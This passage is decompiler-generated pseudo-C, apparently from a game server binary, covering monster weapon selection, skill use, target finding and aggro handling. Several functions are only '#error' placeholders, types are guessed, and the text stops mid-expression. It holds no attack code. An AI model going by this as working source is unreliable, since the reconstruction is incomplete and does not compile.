-------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_SelectWeapon(#593 *this, char a2) { int v2; // esi@1 int v3; // ebp@1 MobAttackSequence::AttackElement4Mob *v5; // ecx@3 int *v6; // eax@4 int v7; // edi@6 int v8; // esi@8 int v9; // edi@9 int v10; // ebx@10 int v11; // eax@11 SkillDataBox::SkillDataIndex *v12; // ebp@12 int v13; // ebp@15 int tmp; // [sp+10h] [bp-18h]@4 FunctionEntarance _; // [sp+14h] [bp-14h]@1 unsigned int v16; // [sp+18h] [bp-10h]@6 int v17; // [sp+24h] [bp-4h]@1 char next; // [sp+30h] [bp+8h]@0 float nexta; // [sp+30h] [bp+8h]@6 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_SelectWeapon"; v3 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( ShineObjectClass::ShineMobileObject::smo_SkillBlastOption((void *)v2) == 2 ) { *(_DWORD *)(v2 + 7680) = 0; --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return 0; } v5 = *(MobAttackSequence::AttackElement4Mob **)(v2 + 7684); if ( !v5 ) { v9 = *(_DWORD *)(*(_DWORD *)(v2 + 7656) + 12) - 1; if ( v9 < 0 ) { LABEL_18: *(_DWORD *)(v2 + 7680) = v3; --funcallanalizer.fca_stackpoint; v17 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v3; } v10 = 12 * v9; while ( 1 ) { v11 = *(_DWORD *)(*(_DWORD *)(v2 + 7656) + 8) + v10; if ( *(_DWORD *)v11 ) { v12 = SkillDataBox::operator__(&skilldatabox, *(_WORD *)(v11 + 4)); if ( !v12 || (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1256))(v2) >= v12->sdi_Activ->SP ) { if ( *(_DWORD *)(*(_DWORD *)(v2 + 7668) + 4 * v9) <= clockwatch.cw_CurrTick ) { v13 = RandomBox::rb_1000(&rndbox); if ( v13 <= ShineObjectClass::ShineMob::sm_GetUseWeaponRate(v2, v9) ) { *(_DWORD *)(v2 + 7680) = v9; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v9; } } } v3 = -1; } --v9; v10 -= 12; if ( v9 < 0 ) goto LABEL_18; } } v6 = (int *)(v2 + 7688); tmp = *(_DWORD *)(v2 + 7688); if ( !next ) v6 = &tmp; v7 = a2; *(_DWORD *)(v2 + 7680) = MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(v5, (#593 *)v2, v6, next); *(float *)&a2 = (double)(unsigned int)ShineObjectClass::ShineObject::so_DistanceSquar(v2, a2); nexta = (double)(unsigned int)(*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1292))(v2, v7); v16 = (*(int (__thiscall **)(int, int))(*(_DWORD *)v2 + 1292))(v2, v7); if ( (double)v16 * nexta * 1.2 < *(float *)&a2 ) ShineObjectClass::ShineMob::sm_SkillExchange_OutOfRange((void *)v2); v8 = *(_DWORD *)(v2 + 7680); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_SelectWeapon"); return v8; } // 4968E0: inconsistent function type and number of purged bytes //----- (00496B70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2) { int v2; // esi@1 int v3; // edx@1 int v4; // edi@3 int v5; // eax@3 unsigned __int16 v6; // ST20_2@3 int v7; // ebx@3 unsigned __int16 v8; // bp@3 int v9; // edi@5 int v10; // eax@7 int v11; // ecx@7 bool v12; // zf@7 int v13; // ebp@11 int v14; // eax@15 int v15; // eax@16 int v16; // eax@18 int v17; // eax@20 int v18; // eax@21 int v19; // eax@23 int v20; // eax@30 int v21; // [sp-14h] [bp-3Ch]@24 int v22; // [sp-10h] [bp-38h]@24 int v23; // [sp-Ch] [bp-34h]@24 int TargetLocate; // [sp+Ch] [bp-1Ch]@3 int v25; // [sp+10h] [bp-18h]@15 int v26; // [sp+14h] [bp-14h]@3 FunctionEntarance _; // [sp+18h] [bp-10h]@1 int v28; // [sp+24h] [bp-4h]@1 v2 = (int)this; _.fe_FunctionCode = "ShineObjectClass::ShineMob::sm_UseWeapon"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_UseWeapon"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::sm_UseWeapon"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *(_DWORD *)(v2 + 7680); v28 = 0; if ( v3 < 0 ) { --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_UseWeapon"); return; } v4 = *(_DWORD *)(v2 + 7656); *(_BYTE *)(v2 + 7428) &= 0xFDu; v5 = *(_DWORD *)(12 * v3 + *(_DWORD *)(v4 + 8)); v26 = *(_DWORD *)(v5 + 95); TargetLocate = *(_DWORD *)(v5 + 99); v6 = *(_WORD *)(v5 + 93); v7 = *(_DWORD *)(v5 + 85); v8 = *(_WORD *)(v5 + 103); *(_DWORD *)(v2 + 4076) = *(_DWORD *)(v5 + 89); *(_DWORD *)(v2 + 4084) = v6; *(_DWORD *)(v2 + 4096) = TargetLocate; *(_DWORD *)(v2 + 4092) = v26; *(_DWORD *)(v2 + 4072) = v7; *(_DWORD *)(v2 + 4104) = v8; if ( !v3 ) { ShineObjectClass::ShineMobileObject::smo_SwingStart((void *)v2, a2); MobChat::MobChatManager::mcm_AttackChat(&mobchatman); LABEL_27: if ( *(_BYTE *)(v2 + 7694) == 1 ) *(_BYTE *)(v2 + 7694) = 0; else ShineObjectClass::ShineMob::sm_NextAttackSequence(v2); v20 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1320))(v2); List::l_4AllInList( (List *)(v20 + 3240), AbnormalStateContainer::AbstateElementInObject::aeo_Attack); goto LABEL_31; } v9 = (int)SkillDataBox::operator__(&skilldatabox, *(_WORD *)(*(_DWORD *)(v4 + 8) + 12 * v3 + 4)); if ( v9 != 0 ) { v10 = (*(int (__thiscall **)(int))(*(_DWORD *)v2 + 1256))(v2); v11 = *(_DWORD *)(v9 + 4); v12 = (unsigned int)v10 < *(_DWORD *)(v11 + 160); v26 = (unsigned int)v10 >= *(_DWORD *)(v11 + 160); if ( !v12 ) { if ( *(_BYTE *)(v9 + 356) ) *(_BYTE *)(v2 + 7428) |= 2u; v13 = v2; if ( *(_DWORD *)(*(_DWORD *)(v9 + 4) + 180) != 1 ) v13 = a2; if ( !v13 ) { v28 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v14 = *(_DWORD *)(v13 + 78); TargetLocate = *(_DWORD *)v14; v25 = *(_DWORD *)(v14 + 4); if ( *(_BYTE *)(v9 + 604) == 1 ) { v15 = *(_DWORD *)(v9 + 608); if ( !v15 || v15 == 2 ) { v16 = *(_DWORD *)(v9 + 4); if ( *(_DWORD *)(v16 + 180) == 4 ) { if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, int *))(*(_DWORD *)v2 + 3204))( v2, v9, &TargetLocate) ) { v17 = *(_DWORD *)(v13 + 78); TargetLocate = *(_DWORD *)v17; v25 = *(_DWORD *)(v17 + 4); } } else { v18 = (*(int (__thiscall **)(int, int, _DWORD, int))(*(_DWORD *)v2 + 3200))( v2, v9, *(_DWORD *)(v16 + 176), v2); if ( v18 ) v13 = v18; } } } v19 = *(_DWORD *)(v9 + 4); if ( *(_DWORD *)(v19 + 180) == 4 ) { v23 = *(_WORD *)(v19 + 199); v22 = (int)&TargetLocate; v21 = 0; } else { v23 = *(_WORD *)(v19 + 199); v22 = 0; v21 = v13; } ShineObjectClass::ShineMobileObject::smo_SkillBash_Casting((void *)v2, v9, v21, v22, v23); goto LABEL_27; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Minus sp", 0); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShineMob::sm_UseWeapon : Null skill", *(_DWORD *)(v2 + 7680)); } LABEL_31: --funcallanalizer.fca_stackpoint; v28 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShineMob::sm_UseWeapon"); } //----- (00496E60) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer) { return *(_DWORD *)(this + 78); } //----- (00496E70) -------------------------------------------------------- SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer) { int v3; // edx@1 v3 = *(_DWORD *)(this + 78); *(_DWORD *)buffer = *(_DWORD *)v3; *(_DWORD *)(buffer + 4) = *(_DWORD *)(v3 + 4); return DirectDistanceTable::ddt_GetFoward(&ddt, **(_BYTE **)(this + 82), 205 * sight / 512, (SHINE_XY_TYPE *)buffer); } //----- (00496EB0) -------------------------------------------------------- #error "496EB0: undefined or illegal type '#593' (funcsize=3)" //----- (00496EC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this) { int v1; // esi@1 int result; // eax@1 v1 = this; result = (*(int (**)(void))(**(_DWORD **)(this + 8572) + 28))(); if ( !(_BYTE)result ) { result = (*(int (__stdcall **)(int))(**(_DWORD **)(v1 + 8572) + 16))(v1 + 7708); *(_DWORD *)(v1 + 8572) = result; } return result; } //----- (00496EF0) -------------------------------------------------------- void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64B58C: using guessed type int (__stdcall *AxialListNearFriend___vftable_[3])(int, int, int distancesquar); //----- (00496F00) -------------------------------------------------------- void __thiscall AxialListRandomEnemy::_AxialListRandomEnemy(AxialListRandomEnemy *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListRandomEnemy::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64B590: using guessed type int (__stdcall *AxialListRandomEnemy___vftable_[2])(int, int, int distancesquar); //----- (00496F10) -------------------------------------------------------- #error "496F10: undefined or illegal type '#593' (funcsize=31)" //----- (00496F70) -------------------------------------------------------- void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListNPCTargetFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 64B594: using guessed type int (__stdcall *AxialListNPCTargetFind___vftable_)(int, int, int distancesquar); //----- (00496F80) -------------------------------------------------------- #error "496F80: undefined or illegal type '#593' (funcsize=30)" //----- (00496FE0) -------------------------------------------------------- #error "496FE0: undefined or illegal type '#593' (funcsize=9)" //----- (00497000) -------------------------------------------------------- #error "497000: undefined or illegal type '#593' (funcsize=9)" //----- (00497020) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this) { *(_DWORD *)(this + 8572) = &MobTacticElement::MobActionArgument::Actor::toregion; } //----- (00497030) -------------------------------------------------------- #error "497030: undefined or illegal type '#593' (funcsize=37)" //----- (004970E0) -------------------------------------------------------- MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #593 *a2, MobAggroManager *lst) { this->mtb_targetlist = lst; return MobTargetSelector::mts_Initialize(&this->baseclass_0, a2, lst); } //----- (004970F0) -------------------------------------------------------- #error "4970F0: undefined or illegal type '#593' (funcsize=49)" //----- (004971C0) -------------------------------------------------------- #error "4971C0: undefined or illegal type '#593' (funcsize=47)" //----- (00497290) -------------------------------------------------------- void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #593 *mob) { MobTargetNoBrain *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetNoBrain::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__thiscall *)(_DWORD))v2->baseclass_0.baseclass_0.baseclass_0.vfptr[9].ali_Work)(v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetNoBrain::mt_SelectTarget"); } //----- (00497330) -------------------------------------------------------- #error "497330: undefined or illegal type '#593' (funcsize=33)" //----- (004973D0) -------------------------------------------------------- void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this) { MobTarget_AggroClear *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_AggroClear::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_AggroClear::~MobTarget_AggroClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_AggroClear::~MobTarget_AggroClear"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 64B628: using guessed type int (__stdcall *MobTarget_AggroClear___vftable_)(int ele, __int16 handle); //----- (00497450) -------------------------------------------------------- #error "497450: undefined or illegal type '#593' (funcsize=68)" //----- (00497560) -------------------------------------------------------- void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #593 *a2, int aggroclearrate) { MobTargetBout *v3; // esi@1 List *v4; // ecx@1 MobTarget_AggroClear mtac; // [sp+8h] [bp-18h]@1 int v6; // [sp+1Ch] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mts_DecreaseAggroPoint"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; MobTarget_AggroClear::MobTarget_AggroClear(&mtac, a2, aggroclearrate); v4 = (List *)v3->mtb_targetlist; LOBYTE(v6) = 1; List::l_4AllInList(v4, (ListIteratorDefault *)&mtac); v3->baseclass_0.mts_Current.target = (MobTargetStruct *)&mobtargeteraser; v3->baseclass_0.mts_Current.distsquar = 0; LOBYTE(v6) = 0; MobTarget_AggroClear::_MobTarget_AggroClear(&mtac); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTargetBout::mts_DecreaseAggroPoint"); } //----- (00497640) -------------------------------------------------------- #error "497640: undefined or illegal type '#593' (funcsize=44)" //----- (00497710) -------------------------------------------------------- #error "497710: undefined or illegal type '#593' (funcsize=66)" //----- (00497810) -------------------------------------------------------- void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this) { MobTarget_EnemyAnalysis *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&MobTarget_EnemyAnalysis::_vftable_; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobTarget_EnemyAnalysis::~MobTarget_EnemyAnalysis"); v1->baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; } // 64292C: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 64B730: using guessed type int (__thiscall *MobTarget_EnemyAnalysis___vftable_)(MobTarget_EnemyAnalysis *this, int ele, __int16 handle); //----- (00497890) -------------------------------------------------------- char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle) { MobTarget_EnemyAnalysis *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTarget_EnemyAnalysis::mtea_free"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; ((void (__stdcall *)(_DWORD))v3->mtea_List->vfptr->l_Free)(handle); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobTarget_EnemyAnalysis::mtea_free"); return 1; } //----- (00497930) -------------------------------------------------------- #error "497930: undefined or illegal type '#593' (funcsize=134)" //----- (00497AE0) -------------------------------------------------------- #error "497AE0: undefined or illegal type '#593' (funcsize=48)" //----- (00497BC0) -------------------------------------------------------- #error "497BC0: undefined or illegal type '#593' (funcsize=80)" //----- (00497CE0) -------------------------------------------------------- #error "497CE0: undefined or illegal type '#593' (funcsize=80)" //----- (00497E00) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_FindRandomTarget(int mobindex, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindRandomTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_FindRandomTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindRandomTarget"); return 0; } //----- (00497E50) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FindRandomTarget(void *this, int mobindex, int weaponnum) { int v3; // esi@1 int v4; // eax@1 int v5; // eax@2 char *v6; // edi@3 int v7; // ST04_4@5 int v8; // eax@5 int v9; // esi@5 int result; // eax@5 int alre; // [sp+10h] [bp-1Ch]@5 int v12; // [sp+14h] [bp-18h]@5 int v13; // [sp+18h] [bp-14h]@5 int v14; // [sp+1Ch] [bp-10h]@5 int v15; // [sp+28h] [bp-4h]@1 v3 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindRandomTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_FindRandomTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = *(_DWORD *)(v3 + 7656); v15 = 0; if ( v4 && (v5 = *(_DWORD *)(*(_DWORD *)(v4 + 8) + 12 * weaponnum)) != 0 ) { v6 = (char *)100; if ( weaponnum ) v6 = (char *)*(_WORD *)(v5 + 105); AxialListIterator::AxialListIterator((AxialListIterator *)&alre); alre = (int)AxialListRandomEnemy::_vftable_; v12 = v3; v14 = 0; v13 = 1; LOBYTE(v15) = 1; v7 = *(_DWORD *)(v3 + 78); v8 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange((void *)v3, v8, v7, v6, 0, (int)&alre, 0, 65535); v9 = v14; LOBYTE(v15) = 0; alre = (int)AxialListRandomEnemy::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alre); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindRandomTarget"); result = v9; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindRandomTarget"); result = 0; } return result; } // 64B590: using guessed type int (__stdcall *AxialListRandomEnemy___vftable_[2])(int, int, int distancesquar); //----- (00497FA0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget"); return 0; } //----- (00497FF0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // esi@1 AxialListIterator this; // [sp+8h] [bp-1Ch]@1 int v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = ecx0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; AxialListIterator::AxialListIterator(&this); this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; v9 = a2; v10 = a3; v11 = 0; v4 = *(_DWORD *)((char *)v3 + 78); LOBYTE(v12) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, (char *)0x1F4, 0, (int)&this, 1, 65535); v6 = v11; LOBYTE(v12) = 0; this.vfptr = (AxialListIteratorVtbl *)AxialListNearFriend::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&this); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget"); return v6; } // 64B58C: using guessed type int (__stdcall *AxialListNearFriend___vftable_[3])(int, int, int distancesquar); //----- (00498100) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanMyTarget"); return 0; } //----- (00498150) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); return 0; } //----- (004981A0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_CanNPCTarget(void *this, int mobindex, int weaponnum) { void *v3; // esi@1 int v4; // ST04_4@1 int v5; // eax@1 int v6; // esi@1 int (__stdcall **alntf)(int, int, int); // [sp+8h] [bp-1Ch]@1 __int16 v9; // [sp+Ch] [bp-18h]@1 int v10; // [sp+10h] [bp-14h]@1 int v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; AxialListIterator::AxialListIterator((AxialListIterator *)&alntf); alntf = &AxialListNPCTargetFind::_vftable_; v9 = 188; v10 = 1; v11 = 0; LOBYTE(v12) = 1; v4 = *(_DWORD *)((char *)v3 + 78); v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v3, v5, v4, (char *)0x1F4, 0, (int)&alntf, 0, 65535); v6 = v11; LOBYTE(v12) = 0; alntf = &AxialListNPCTargetFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alntf); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_mob_CanNPCTarget"); return v6; } // 64B594: using guessed type int (__stdcall *AxialListNPCTargetFind___vftable_)(int, int, int distancesquar); //----- (004982B0) -------------------------------------------------------- int __stdcall ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_ply_CanMyTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_ply_CanMyTarget"); return 0; } //----- (00498300) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 632E04: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00498350) -------------------------------------------------------- #error "498350: undefined or illegal type '#593' (funcsize=38)" //----- (00498410) -------------------------------------------------------- void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #593 *mob) { MobTargetBout *v2; // esi@1 MobAggroManager *v3; // edi@1 unsigned __int16 v4; // bp@3 ListStruct *v5; // eax@4 unsigned __int16 v6; // dx@4 int v7; // eax@4 int v8; // eax@5 unsigned __int16 v9; // ax@7 int v10; // eax@9 ListStruct *v11; // eax@12 char v12; // cl@12 int v13; // eax@12 int v14; // eax@13 ListStruct *v15; // eax@17 char v16; // cl@17 int v17; // eax@17 int v18; // eax@18 int v19; // eax@23 int v20; // eax@24 int v21; // eax@28 int v22; // eax@29 unsigned __int16 v23; // cx@32 int v24; // eax@33 int v25; // eax@34 int v26; // eax@36 int v27; // eax@38 MobTargetStruct *mtb; // [sp+Ch] [bp-28h]@2 int maxaggro; // [sp+10h] [bp-24h]@1 MobTargetBout *v30; // [sp+14h] [bp-20h]@1 unsigned __int16 v31; // [sp+1Eh] [bp-16h]@1 v2 = this; v30 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobTargetBout::mt_SelectTarget"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobTargetBout::mt_SelectTarget"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->mtb_targetlist; maxaggro = 0; v31 = v3->baseclass_0.l_Array[v3->baseclass_0.l_Finger.store].ls_Next; LABEL_2: mtb = 0; while ( 1 ) { v4 = v31; if ( v31 >= v3->baseclass_0.l_MaxSize ) break; v5 = v3->baseclass_0.l_Array; v6 = v5[v31].ls_Next; v7 = (int)&v5[v31]; v31 = v6; if ( *(_BYTE *)(v7 + 8) ) v8 = *(_DWORD *)v7; else v8 = 0; v9 = (*(int (**)(void))(**(_DWORD **)(v8 + 8) + 1792))(); if ( !MobDataBox::mdb_CanIKill(&mobdatabox, v9, MKID_MOB) || (v4 >= v3->baseclass_0.l_MaxSize || (v11 = v3->baseclass_0.l_Array, v12 = v11[v4].ls_IsActiv, v13 = (int)&v11[v4], !v12) ? (v14 = 0) : (v14 = *(_DWORD *)v13), (unsigned __int8)(*(int (**)(void))(**(_DWORD **)(v14 + 